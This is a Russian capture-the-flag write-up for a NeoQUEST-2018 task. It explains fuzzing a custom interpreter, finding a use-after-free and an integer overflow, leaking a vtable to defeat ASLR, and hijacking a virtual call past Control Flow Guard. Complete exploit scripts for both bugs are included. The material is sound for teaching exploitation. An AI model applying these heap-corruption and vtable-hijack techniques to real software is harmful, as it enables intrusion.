Операционные системы – дело тонкое. И очень защищенное! Обойти их механизмы защиты — дело сложное и трудоемкое, даже слегка похожее на волшебство. Но говорят, что сын маминой подруги уже нашел несколько RCE-уязвимостей, написал эксплойт, и обошел все защитные механизмы. Попробуем и мы!
Сделаем это на примере задания № 11 из прошедшего NeoQUEST-2018. Задачка реалистичная — рассмотрим “живой” сценарий удаленного выполнения кода, похожий на тот, что возникает в процессе эксплуатации Javascript-движков в браузерах. Будем искать уязвимости в некотором интерпретаторе, реализовывать их с получением ARW-примитива, а в результате — обойдем защиту ОС Windows пользовательского режима. Задание оказалось крайне
По легенде, у нас имеется бинарник программы, а также адрес, на котором крутится подобный сервис. Также упомянуто о том, что первой ступенькой к успеху является некая «ключевая» функция.
Итак, приступим!
«Ключевой» поиск
Рассмотрим исходные данные. Целевая программа представляет собой некий интерпретатор команд для работы с тремя типами данных: числами, векторами и матрицами. Воспользуемся командой help — это даст нам представление о наборе поддерживаемых команд. Интерпретатор позволяет:
- Создавать переменные векторов, матриц и чисел различных размеров.
- Переназначать и копировать переменные.
- Работать с отдельными ячейками матриц векторов как с числами, производить с ними простейшие арифметические операции.
- Искать значение в векторах/матрицах, узнавать тип переменной и её значение.
- Создавать циклы с переменными границами и шагом.
Программа реализована в виде бесконечного цикла обработки команд:
И каждая команда представлена отдельным регулярным выражением.
Итак, в поисках “ключевой” функции проверим бинарник на предмет характерных строк, связанных со словом “ключ” на всех языках мира. Быстро находим нужный фрагмент:
Похоже, что в бинарнике ключ отсутствует (что логично, черт побери!). Судя по всему, на сервере крутится тот же бинарник, и в строке аргумента aFirstKeyIs2c7f там находится верный ключ! Но как получить содержимое измененной строки с удаленного сервера?
Элементарный анализ подтверждает тот факт, что найденную нами функцию необходимо только вызвать, и строка с ключом будет напечатана в stdout. Похоже, что эта функция является виртуальным методом какого-то класса, так как:
- В коде отсутствуют прямые вызовы (direct calls) этой функции и функции-заглушки sub_40E120.
- Вызов sub_40E120 лежит в списке разрешенных с точки зрения механизма Control Flow Guard, что характерно для виртуальных методов – эти методы вызываются через косвенные вызовы (indirect calls).
Итак, фронт работ ясен: необходимо научиться вызывать нужный виртуальный метод в бинарнике на серверной стороне. Есть два варианта развития событий:
- Попробовать найти легитимную возможность вызвать нужный метод. Теоретически это может быть недокументированная возможность программы.
- Поискать уязвимости. Если найти то, что позволит нам овладеть магией выполнения произвольного кода, то можно с легкостью вызвать нужный метод и получить ключ.
С чего же начать?
Закладки сладки
Для начала проанализируем код на предмет недокументированных возможностей. Судя по всему, функция обработки входной строки их не содержит: используемые здесь регулярные выражения относятся лишь к вышеперечисленным командам. Да и прямых вызовов данной функции в коде нет. Может быть, среди документированных команд имеются скрытые возможности по косвенному вызову нужной нам “ключевой” функции?
Ан нет. Некоторые команды (find, what) содержат в себе косвенные вызовы виртуальных методов, но повлиять на выбор вызываемого метода невозможно — смещения в таблице vtable везде фиксированы.
Увы, неудача! Теперь самое время заняться поиском
Кто ищет, тот всегда найдет, что искать
Мы у мамы программисты, поэтому попробуем написать простейший фаззер, генерирующий случайные, синтаксически верные наборы команд для интерпретатора. По такому же принципу пишутся фаззеры Javascript и DOM при поиске уязвимостей в браузерах. Наш фаззер будет генерировать различные последовательности команд в надежде “уронить” интерпретатор. Принцип работы фаззера при генерации очередной последовательности команд следующий:
- Сначала создается некоторое количество переменных различных типов и размеров. Имена и типы переменных сохраняются для последующего использования.
- Далее каждая команда генерируется случайным образом в соответствии со списком имеющихся переменных:
- Выбирается произвольная команда (без учета параметров) из списка: команда создания новой переменной, арифметическая операция, команда присвоения, команды find, print.
- В зависимости от вида команды, к ней добавляются произвольные аргументы. К примеру, для команды find выбирается произвольное имя из списка доступных переменных + произвольное число, являющееся вторым аргументом. Для команды арифметической операции число параметров велико (знак операции, переменные, индексы векторов и матриц), и каждый из них также выбирается произвольно.
- Сформированная команда добавляется в текущую последовательность. Поскольку некоторые команды могут создавать новые переменные и менять тип уже существующих, то списки с переменными в этих случаях обновляются. Это позволит задействовать новые/измененные переменные в процессе генерации последующих команд.
- Интерпретатор запускается под отладчиком. Сформированная последовательность передается на вход интерпретатору. Ведется регистрация возможных падений при обработке переданных команд.
Иии… Победа! После запуска фаззера достаточно быстро удалось найти уязвимые последовательности команд, на которых интерпретатор “упал”. Результат более чем удовлетворительный — целых две различные уязвимости!
Уязвимость №1 (UaF)
Получив первую последовательность и очистив её от лишних команд (которые не влияют на падение интерпретатора), получаем следующий Proof-Of-Concept:
Посмотрим повнимательнее. Узнаете? Перед нами классическая уязвимость типа Use-After-Free! Вот что происходит в данной последовательности команд:
- Создается большой вектор vec и целочисленная переменная intval.
- Создается копия вектора vec — переменная vec2.
- Переменной vec2 присваивается переменная другого типа (целочисленного).
- Попытка работать с исходным вектором vec приводит к записи в освобожденную память и, соответственно, к падению программы.
Похоже, что в интерпретаторе реализована концепция Copy-On-Write, вследствие чего переменные vec и vec2 содержали ссылку на один и тот же буфер в памяти. При переназначении одной из переменных буфер освобождался без учета того факта, что на него имелась ссылка и в другой переменной. После этого переменная vec содержала указатель на освобожденную память, и имела к ней доступ на чтение и запись. Как итог, данная уязвимость позволяет получить произвольный доступ к участку памяти, в которой могут находиться другие объекты программы.
Уязвимость №2 (Integer Overflow)
Вторая проблема связана с конструктором объекта матрицы. При выделении памяти под численный массив некорректно реализована проверка ширины W и высоты H матрицы.
В конструкторе предварительно выделяется память под W*H целочисленных ячеек. Если произведение W *H было больше, чем 232-1, то это приводит к выделению очень маленького буфера вследствие целочисленного переполнения. Это можно заметить и непосредственно в бинарнике, в конструкторе класса.
Однако возможность последующего доступа к ячейкам этого массива определяется большими границами W и H, а не переполненным значением W *H:
Данная уязвимость так же, как и первая, позволяет осуществлять чтение и запись в память вне допустимых границ.
Каждая из найденных уязвимостей позволяет достичь нужного результата – стать RCE-богом и исполнить произвольный код. Рассмотрим эту процедуру в обоих случаях.
Я тебя контролирую!
Возможность произвольного доступа к свободному участку памяти в куче является сильным примитивом эксплуатации. Необходимо использовать поврежденный объект vec (вектор в первом случае и матрицу во втором) для контролируемой модификации какого-то другого объекта в куче процесса (назовем его victim). Нужным образом изменяя внутренние поля объекта victim, мы добьёмся выполнения произвольного кода.
Сначала поймем, что из себя представляют объекты числа, вектора и матрицы в памяти. Вновь заглянем в бинарник и недалеко от функции обработки входной команды обнаружим вызовы конструкторов для соответствующих классов. Все они являются наследниками базового класса и имеют схожие конструкторы. Например, так выглядит конструктор объекта вектора:
При создании объекта вызывается конструктор базового класса, затем поля объекта заполняются в соответствии с его типом. Можно увидеть назначение и порядок полей: адрес таблицы виртуальных функций, размер вектора, адрес буфера, тип объекта в виде численного идентификатора.
Как добиться того, чтобы в освобожденном участке памяти, доступном с помощью поврежденного объекта vec, оказалась переменная victim? Будем создавать новые объекты в куче процесса сразу после приведения объекта vec в поврежденное состояние. А для поиска объекта, который таки попадет в освобожденную память, воспользуемся командой интерпретатора find. Поместим в одно из полей у создаваемых объектов какое-либо редкое значение — своеобразный magic number. Очевидно, лучше всего для этого подходит размер буфера, т.к. он задается непосредственно пользователем при создании нового объекта. Если поиск этого значения в буфере поврежденного объекта vec увенчается успехом, значит, мы нашли нужный объект!
Продемонстрируем нахождение объекта victim для обеих уязвимостей. Действия на данном этапе будут несколько отличаться друг от друга.
В случае с первой уязвимостью типа UaF команда find осуществляет поиск в ограниченном участке памяти — его размер совпадает с размером освобожденного буфера у объекта vec. Выделение объекта в куче производится системным аллокатором и не является детерминированным процессом. Мы так подберем размеры буфера у изначального объекта vec и у создаваемых объектов, чтобы какой-нибудь из них попал в нужную память за небольшое число попыток:
Отлично, мы успешно нашли объект-жертву victim (он же v1 в данном случае)!
При выполнении того же сценария с использованием второй уязвимости все будет несколько сложнее. В этом случае поиск будет потенциально вестись во всей памяти, поскольку ширина W либо высота H матрицы будут велики. Однако если нужного числа в непосредственной близости от буфера не будет, то цикл поиска будет выходить за границы отображенной в адресное пространство памяти. Это приведет к падению процесса интерпретатора до нахождения заветного magic number. Эта проблема решается выделением большого количества объектов в памяти — хотя бы один из них попадет в память непосредственно вблизи буфера.
Бинго! И в данном случае мы также нашли объект victim!
А теперь самое интересное — необходимо понять, как именно изменить объект victim и как запустить с его помощью выполнение нужного нам кода. Итак, мы успешно поместили в освобожденную память объект класса “вектор”. Схематично это выглядит как-то так:
Объект victim находится в доступном нам с помощью объекта vec участке кучи, и мы можем как читать поля объекта victim, так и изменять их. Также нам известно смещение числа bufsize в буфере объекта vec. Теперь модифицируем объект victim следующим образом:
- Прочитаем адрес таблицы vtable, тем самым раскрывая исполняемый адрес в памяти (и побеждая защиту ASLR).
- Изучив бинарник интерпретатора, найдем константную разницу между адресом таблицы vtable для объекта вектора и адресом “ключевой” функции. Это позволит вычислить адрес “ключевой” функции на стороне сервера:
- Сформируем ложную таблицу vtable прямо в буфере объекта victim, куда запишем только что вычисленный адрес “ключевой” функции.
- Заменим адрес истинной таблицы vtable у объекта victim на адрес ложной.
- Вызовем команду what у объекта victim. Благодаря манипуляции с таблицей vtable вместо подлинного виртуального метода вызовется наша, “ключевая” функция. Поскольку мы вызываем целую функцию, а не отдельные ROP-гаджеты, защита Contol Flow Guard вызову функции никак не препятствует.
Данная схема вызова нужной нам функции является идентичной для обеих уязвимостей.
Мы в шаге от успеха, осталось собрать все воедино и получить ключ! Ниже рассмотрим оба примера.
Так выглядит код работающего эксплойта для уязвимости типа Use-After-Free:
Код эксплойта для уязвимости типа Use-After-Free
var vec[4096]
var m2:=vec
var va=3
m2:=va
va=find(vec,256)
var v1[256]
va=find(vec,256)
var vtb=0
vtb=va-1
var buf=0
buf=va+1
var func=0
func=vec[vtb]-1547208
func=func+57632
v1[0]=func
vec[vtb]=vec[buf]
what v1А так — для уязвимости типа Integer Overflow:
Код эксплойта для уязвимости типа Integer Overflow
var m[65537][65536]
var v1[256]
var v2[256]
var v3[256]
var v4[256]
var v6[256]
var v5[256]
var v7[256]
var v8[256]
var v9[256]
var v10[256]
var v11[256]
var v12[256]
var v13[256]
var v14[256]
var v16[256]
var v15[256]
var v17[256]
var v18[256]
var v19[256]
var v20[256]
var v21[256]
var v22[256]
var v23[256]
var v24[256]
var v25[256]
var v26[256]
var v27[256]
var v28[256]
var v29[256]
var v30[256]
var v31[256]
var v32[256]
var v33[256]
var v34[256]
var v35[256]
var v36[256]
var v37[256]
var v38[256]
var v39[256]
var v40[256]
var varr=0
var varc=0
varr=find(m,256).row
varc=find(m,256).col
var vtb=0
vtb=varc-1
var buf=0
buf=varc+1
var func=0
func=m[varr][vtb]-1547208
func=func+57632
v1[0]=func
v2[0]=func
v3[0]=func
v4[0]=func
v5[0]=func
v6[0]=func
v7[0]=func
v8[0]=func
v9[0]=func
v10[0]=func
v11[0]=func
v12[0]=func
v13[0]=func
v14[0]=func
v15[0]=func
v16[0]=func
v17[0]=func
v18[0]=func
v19[0]=func
v20[0]=func
v21[0]=func
v22[0]=func
v23[0]=func
v24[0]=func
v25[0]=func
v26[0]=func
v27[0]=func
v28[0]=func
v29[0]=func
v30[0]=func
v31[0]=func
v32[0]=func
v33[0]=func
v34[0]=func
v35[0]=func
v36[0]=func
v37[0]=func
v38[0]=func
v39[0]=func
v40[0]=func
m[varr][vtb]=m[varr][buf]
what v1
what v2
what v3
what v4
what v5
what v5
what v6
what v7
what v8
what v9
what v10
what v11
what v12
what v13
what v14
what v15
what v16
what v17
what v18
what v19
what v20
what v21
what v22
what v23
what v24
what v25
what v26
what v27
what v28
what v29
what v30
what v31
what v32
what v33
what v34
what v35
what v36
what v37
what v38
what v39
what v40 Ура! Получен ключ, а бонусом к нему — важная информация. Оказывается, имеется и второй ключ, но он лежит в файле рядом с бинарником на стороне сервера. Для решения данной задачи требуется строить ROP-цепь, а значит, придется обходить CFG. Но об этом — в следующей статье!
А мы напоминаем, что всем, кто прошел полностью хотя бы одно задание на NeoQUEST-2018, полагается приз! Проверяйте почту на наличие письма, а если вдруг оно вам не пришло — пишите на support@neoquest.ru!
